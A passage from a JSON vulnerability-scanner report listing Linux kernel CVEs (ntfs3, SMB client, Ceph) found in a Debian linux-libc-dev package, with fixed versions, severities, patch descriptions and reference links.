"https://git.kernel.org/linus/5babe9c177c364521e3e682b949c5a8c47f4a441%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89607.mbox", "https://git.kernel.org/stable/c/14cb36a500a5a3afbc955dbf69dabc565f1a3b26", "https://git.kernel.org/stable/c/2cd21340163494d312836c77c9fbfe2530b3d075", "https://git.kernel.org/stable/c/33e050cac841498b5175f0f385eee903fd98863c", "https://git.kernel.org/stable/c/5babe9c177c364521e3e682b949c5a8c47f4a441", "https://git.kernel.org/stable/c/a419c9ebfc9a40ee56aaad6dc68bfd67d400817b", "https://git.kernel.org/stable/c/ccd13eff0e7356d2aa28b127b577e4e5ad4563f5", "https://git.kernel.org/stable/c/d2802414081184f79a619ede178aeef3aa989793", "https://git.kernel.org/stable/c/e2152d491ae62d96a32ed59778680a242af1fbc6", "https://linux.oracle.com/cve/CVE-2026-89607.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89607", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89607" ], "PublishedDate": "2026-09-11T20:19:45.723Z", "LastModifiedDate": "2026-10-19T09:17:57.22Z" }, { "VulnerabilityID": "CVE-2026-89617", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89617", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c7d364e3e5c9868e14ab8c63887be8426fd6ef834234c1b070a6603f6e13a2d7", "Title": "kernel: fs/ntfs3: validate dirty page table on log replay", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: validate dirty page table on log replay\n\nEach DIR_PAGE_ENTRY ends in a page_lcns[] array whose length is the on-disk\nlcns_follow field. check_rstbl() validates the table bookkeeping but never\nchecks that this array fits in the entry, so a crafted lcns_follow lets the\nv0-\u003ev1 conversion memmove and later replay passes run off the entry.\n\nAdd check_dp_table() to reject, right after check_rstbl(), any entry larger\nthan its size claims via struct_size() (the same expression used to allocate\nthese entries, so the check is overflow-safe by construction). All consumers\ncan then trust lcns_follow as the real capacity. This covers every\npage_lcns[] access whose index is bounded by the entry itself (the\nconversion memmove, the HotFix store via find_dp(), and the self-bounded\nscan loops). Accesses whose index comes from the log record need a separate\nbound and are handled in a follow-up patch.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-89617", "https://git.kernel.org/linus/006cb7713dec10368e699abc4367e5faa334c9a5%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89617.mbox", "https://git.kernel.org/stable/c/006cb7713dec10368e699abc4367e5faa334c9a5", "https://git.kernel.org/stable/c/0908da07c23be4f94b99dfd9a94765525f0fe4bd", "https://git.kernel.org/stable/c/0e07ea2fc45a7b4757ef7bf1f692cc0180a08323", "https://git.kernel.org/stable/c/1200c2779c43b62656ccbb67df9468a7a9af2484", "https://git.kernel.org/stable/c/1e90b1703ee1a04cd3e9e399353fc536f5f3ba10", "https://git.kernel.org/stable/c/2d94ffc9d7b5bb3517b129fe63b52d84bcd4ae56", "https://git.kernel.org/stable/c/d23155634a4bc1183e761d5eb2c043b2e693cc98", "https://nvd.nist.gov/vuln/detail/CVE-2026-89617", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89617" ], "PublishedDate": "2026-09-11T20:19:46.917Z", "LastModifiedDate": "2026-10-19T09:17:58.413Z" }, { "VulnerabilityID": "CVE-2026-89631", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89631", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:96e0f2ef91c1f690b1f3e540e81bff614b7b4f8ebc6996a5528ed2ad31b79039", "Title": "kernel: smb: client: reject a tree connect response whose byte count is too small", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: reject a tree connect response whose byte count is too small\n\nCIFSTCon() bounds its strnlen() over the byte area with the server's\nByteCount minus two, which for ByteCount 0 or 1 goes negative as an int\nand converts to a huge size_t. The later subtraction wraps the __u16\nbytes_left, and that is what bounds cifs_strndup_from_utf16(): a bound of\nup to 65535 against a ~16 KB cifs_req_poolp object runs off the end of the\nslab object, and the bytes reach userspace through tcon-\u003enativeFileSystem\nin /proc/fs/cifs/DebugData.\n\nReject a byte area too small for what the parser consumes. Two bytes is\nthe least it can consume, and no conformant response carries fewer. The\nnew trace point is the 129th smb_eio_trace entry, which __mode(byte)\ncannot represent, so the attribute goes with it.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:85773", "https://access.redhat.com/errata/RHSA-2026:85774", "https://access.redhat.com/security/cve/CVE-2026-89631", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2521384", "https://bugzilla.redhat.com/2524422", "https://bugzilla.redhat.com/2532089", "https://bugzilla.redhat.com/2532290", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540500", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2521384", "https://bugzilla.redhat.com/show_bug.cgi?id=2524422", "https://bugzilla.redhat.com/show_bug.cgi?id=2532089", "https://bugzilla.redhat.com/show_bug.cgi?id=2532290", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2540500", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74588", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74752", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89631", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93288", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/8/ALSA-2026-85774.html", "https://errata.rockylinux.org/RLSA-2026:85773", "https://git.kernel.org/linus/65deb18359341141d37dc86fc7853511be3c87a7%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89631.mbox", "https://git.kernel.org/stable/c/2ae219762ebac929bf6ab3473681f10ed566af08", "https://git.kernel.org/stable/c/3be89e8039a85fa3b6cd5f9dcc4c1459eb356c2d", "https://git.kernel.org/stable/c/411e484fe71a7f1028de617447edad9cb6d9d68a", "https://git.kernel.org/stable/c/65deb18359341141d37dc86fc7853511be3c87a7", "https://git.kernel.org/stable/c/bb99866cb1d3d5e8201200a8692fd8da3106a8fd", "https://git.kernel.org/stable/c/d837645a719151ed392d4d9cab4571c2753dab12", "https://linux.oracle.com/cve/CVE-2026-89631.html", "https://linux.oracle.com/errata/ELSA-2026-85773.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89631", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89631" ], "PublishedDate": "2026-09-11T20:19:48.64Z", "LastModifiedDate": "2026-10-30T13:20:23.05Z" }, { "VulnerabilityID": "CVE-2026-89633", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89633", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:95d611d84b1f812afc7307e12d0bc1d63b809b6bbbaeca2e6e71c779c849de0f", "Title": "kernel: smb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix OOB read/write from unvalidated DataOffset in coalesce_t2()\n\ncoalesce_t2() computes data pointers directly from server-supplied\nDataOffset fields with no validation against buffer bounds:\n\n data_area_of_tgt = (char *)\u0026pSMBt-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBt-\u003et2_rsp.DataOffset);\n data_area_of_src = (char *)\u0026pSMBs-\u003ehdr.Protocol +\n get_unaligned_le16(\u0026pSMBs-\u003et2_rsp.DataOffset);\n data_area_of_tgt += total_in_tgt;\n ...\n memcpy(data_area_of_tgt, data_area_of_src, total_in_src);\n\nA small DataOffset can push a pointer below the actual byte area,\noverwriting header fields; a large one can push it past the buffer\nend, causing out-of-bounds heap reads (source) or writes (target).\nThe BCC overflow guard does not prevent this: BCC reflects how much\ndata is present, while DataOffset controls where in the buffer it\nstarts.\n\nThe \"validate target area\" comment present since the function was\nfirst written in 2005 was a placeholder that was never implemented.\n\nAdd lower- and upper-bound checks for both data pointers before the\nmemcpy, and before any target header fields are modified.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-89633", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6343c1da561962688f203362d80d6a3bfa39fa1b%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89633.mbox", "https://git.kernel.org/stable/c/033bc80019f07d158630df4e69b19a49010f54f1", "https://git.kernel.org/stable/c/36d01415d881d5326a0dd3384f781cd7e69aff2d", "https://git.kernel.org/stable/c/531ac35abd74fb5b4aec5e19543e832613a1789d", "https://git.kernel.org/stable/c/6343c1da561962688f203362d80d6a3bfa39fa1b", "https://git.kernel.org/stable/c/672cf86aa6aa0fb4012ce4c3b3498df42ad67a4e", "https://git.kernel.org/stable/c/6eb70b78e48b0031bd1a05fe1b58959a48e87739", "https://git.kernel.org/stable/c/9f3a7440731a34c89ad04fef6616f185acb28401", "https://git.kernel.org/stable/c/f7baf60435129e3a5f3500a38e3cb4c3860deed7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-kenvkuzgzr9d.toml", "https://linux.oracle.com/cve/CVE-2026-89633.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89633", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89633" ], "PublishedDate": "2026-09-11T20:19:48.887Z", "LastModifiedDate": "2026-10-30T13:20:23.223Z" }, { "VulnerabilityID": "CVE-2026-89638", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89638", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0c0edc0254fdc227a7d803d0f45148e92f43f521d1a0e44d29dbd37a895d129", "Title": "kernel: smb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: clear setuid/setgid bit on write with cifsacl/modefromsid/posix extensions\n\nWhen a file has the setuid or setgid bit set and is written to, the VFS\nstrips those bits and issues a setattr with ATTR_KILL_SUID/ATTR_KILL_SGID\ntogether with an ATTR_MODE carrying the already-cleared mode.\n\nBoth cifs_setattr_unix() and cifs_setattr_nounix() unconditionally dropped\nATTR_MODE in that case:\n\n\t/* skip mode change if it's just for clearing setuid/setgid */\n\tif (attrs-\u003eia_valid \u0026 (ATTR_KILL_SUID|ATTR_KILL_SGID))\n\t\tattrs-\u003eia_valid \u0026= ~ATTR_MODE;\n\nThis is fine for the default mount, where the mode is only emulated via\nthe DOS read-only attribute and cannot represent the setuid/setgid bits\nanyway. However, with the \"cifsacl\" or \"modefromsid\" mount options the\nmode is stored on the server through an ACL (id_mode_to_cifs_acl()), with\nthe SMB3.1.1 POSIX extensions the mode is sent to the server directly,\nand with the SMB1 Unix extensions (cifs_setattr_unix) the mode is sent\nvia CIFSSMBUnixSetPathInfo(). In all those cases dropping ATTR_MODE means\nthe cleared mode is never pushed to the server, so the setuid/setgid bit\nsurvives the write.\n\nThis is a security issue: on local filesystems the setuid bit is stripped\nwhen a file is written, but over these cifs.ko mounts the bit persists on\nthe server, potentially allowing an unexpected privilege escalation on\nsubsequent execution.\n\nFix this in two places:\n\n 1. cifs_setattr_nounix(): only take the \"skip mode change\" shortcut\n when the mode is emulated via the DOS read-only attribute (i.e.\n neither cifsacl/modefromsid nor the SMB3.1.1 POSIX extensions are\n in effect), so that the cleared mode is propagated to the server\n in the ACL / POSIX cases.\n\n 2. cifs_setattr_unix(): this function is only called when Unix\n extensions are in effect, so the mode is always stored on the\n server. Remove the shortcut entirely so that the cleared mode is\n always pushed.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-89638", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/b8e5dc4f95e5484159b343903f302eb6d783f2e6%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89638.mbox", "https://git.kernel.org/stable/c/2a5206992f526178881e8f5c4644757c336fb76d", "https://git.kernel.org/stable/c/58b23fc9fb580432470d6c5da3c1e5660dba9fbc", "https://git.kernel.org/stable/c/69bfe810ecd1e0387d8975d711cd326341d13c6e", "https://git.kernel.org/stable/c/7ceb6f7cb8f8f2b094e0dcdaf75757775d231378", "https://git.kernel.org/stable/c/a3a0cc83761e46a75b1ed6bfaf35961f2c211148", "https://git.kernel.org/stable/c/b10015807e4c628095d1d1d1c9307efc8cdd9e1b", "https://git.kernel.org/stable/c/b8e5dc4f95e5484159b343903f302eb6d783f2e6", "https://git.kernel.org/stable/c/ce0e675907b887db2b1e44a806118b0a7d8b6b18", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-99zevkneils0.toml", "https://linux.oracle.com/cve/CVE-2026-89638.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89638", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89638" ], "PublishedDate": "2026-09-11T20:19:49.493Z", "LastModifiedDate": "2026-10-30T13:20:23.393Z" }, { "VulnerabilityID": "CVE-2026-89652", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89652", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:82e5861ef42acb7dfc4c2356eb0956a935e80a19ec19fbae2ed92868eb30a865", "Title": "kernel: ceph: bound copied dentry name length in NFS export get_name", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: bound copied dentry name length in NFS export get_name\n\nceph_get_name() copies the MDS-supplied name into the caller's\nNAME_MAX-sized buffer with memcpy(name, rinfo-\u003edname, rinfo-\u003edname_len)\nand then writes name[rinfo-\u003edname_len] = 0, without checking dname_len\nagainst NAME_MAX. A malicious or buggy MDS that returns a LOOKUPNAME reply\nwith dname_len \u003e NAME_MAX overflows the buffer. __get_snap_name() copies\nrde-\u003ename / rde-\u003ename_len the same unchecked way.\n\nImpact: a malicious or compromised Ceph MDS overflows the NAME_MAX name\nbuffer in a client's NFS-export get_name path, a slab out-of-bounds write\nreported by KASAN. Reachable when a CephFS mount is re-exported over NFS.\n\nAdd ceph_export_copy_name(), which rejects lengths above NAME_MAX with\n-ENAMETOOLONG before the copy, and use it in both ceph_get_name() and\n__get_snap_name().", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89652", "https://access.redhat.com/security/cve/CVE-2026-89652", "https://git.kernel.org/linus/eff8013c5a8916613c742ae5a2cc341cb605c0ae%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-89652.mbox", "https://git.kernel.org/stable/c/06fb5e623cdc2402d6bb29be94d9beb9a826ffec", "https://git.kernel.org/stable/c/3cb09301c30909a7935e9de41f98eeb5ef7e4d40", "https://git.kernel.org/stable/c/61d9f27b191b838b96b697ce0bfaee39a138243a", "https://git.kernel.org/stable/c/a294064e0e0f81ea607b2f019e16888aa1b0a011", "https://git.kernel.org/stable/c/aadfe588ad8032ea99bda259ae7b8d42854f8193", "https://git.kernel.org/stable/c/dff3d84d14142ea43ad61ef5d6b4de05ba16ba42", "https://git.kernel.org/stable/c/e7c2fd3893a7f7fcd7e8cf0b2c6348bb1e893df6", "https://git.kernel.org/stable/c/eff8013c5a8916613c742ae5a2cc341cb605c0ae", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-06ghtgcffasr.toml", "https://linux.oracle.com/cve/CVE-2026-89652.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89652", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-89652" ], "PublishedDate": "2026-09-11T20:19:51.283Z", "LastModifiedDate": "2026-10-30T13:20:24.69Z" }, { "VulnerabilityID": "CVE-2026-89653", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89653", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1d69cf09425f798de97b1ec467763ac4a6750dd5331c9e5488e6871ad8ae7067", "Title": "kernel: kernel: Memory corruption via out-of-bounds write in Ceph client", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: reject export_targets ranks \u003e= CEPH_MAX_MDS in mdsmap decode\n\nMDSMap export_targets entries are monitor controlled. check_new_map()\nuses each entry as a bit number in a fixed stack bitmap, so a rank\noutside the protocol namespace can make set_bit() write past the end of\nthe array.\n\nReject ranks outside CEPH_MAX_MDS while decoding the map. Do not\nvalidate against possible_max_rank here because maps may legitimately\nreference ranks beyond a temporarily reduced max_mds.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ 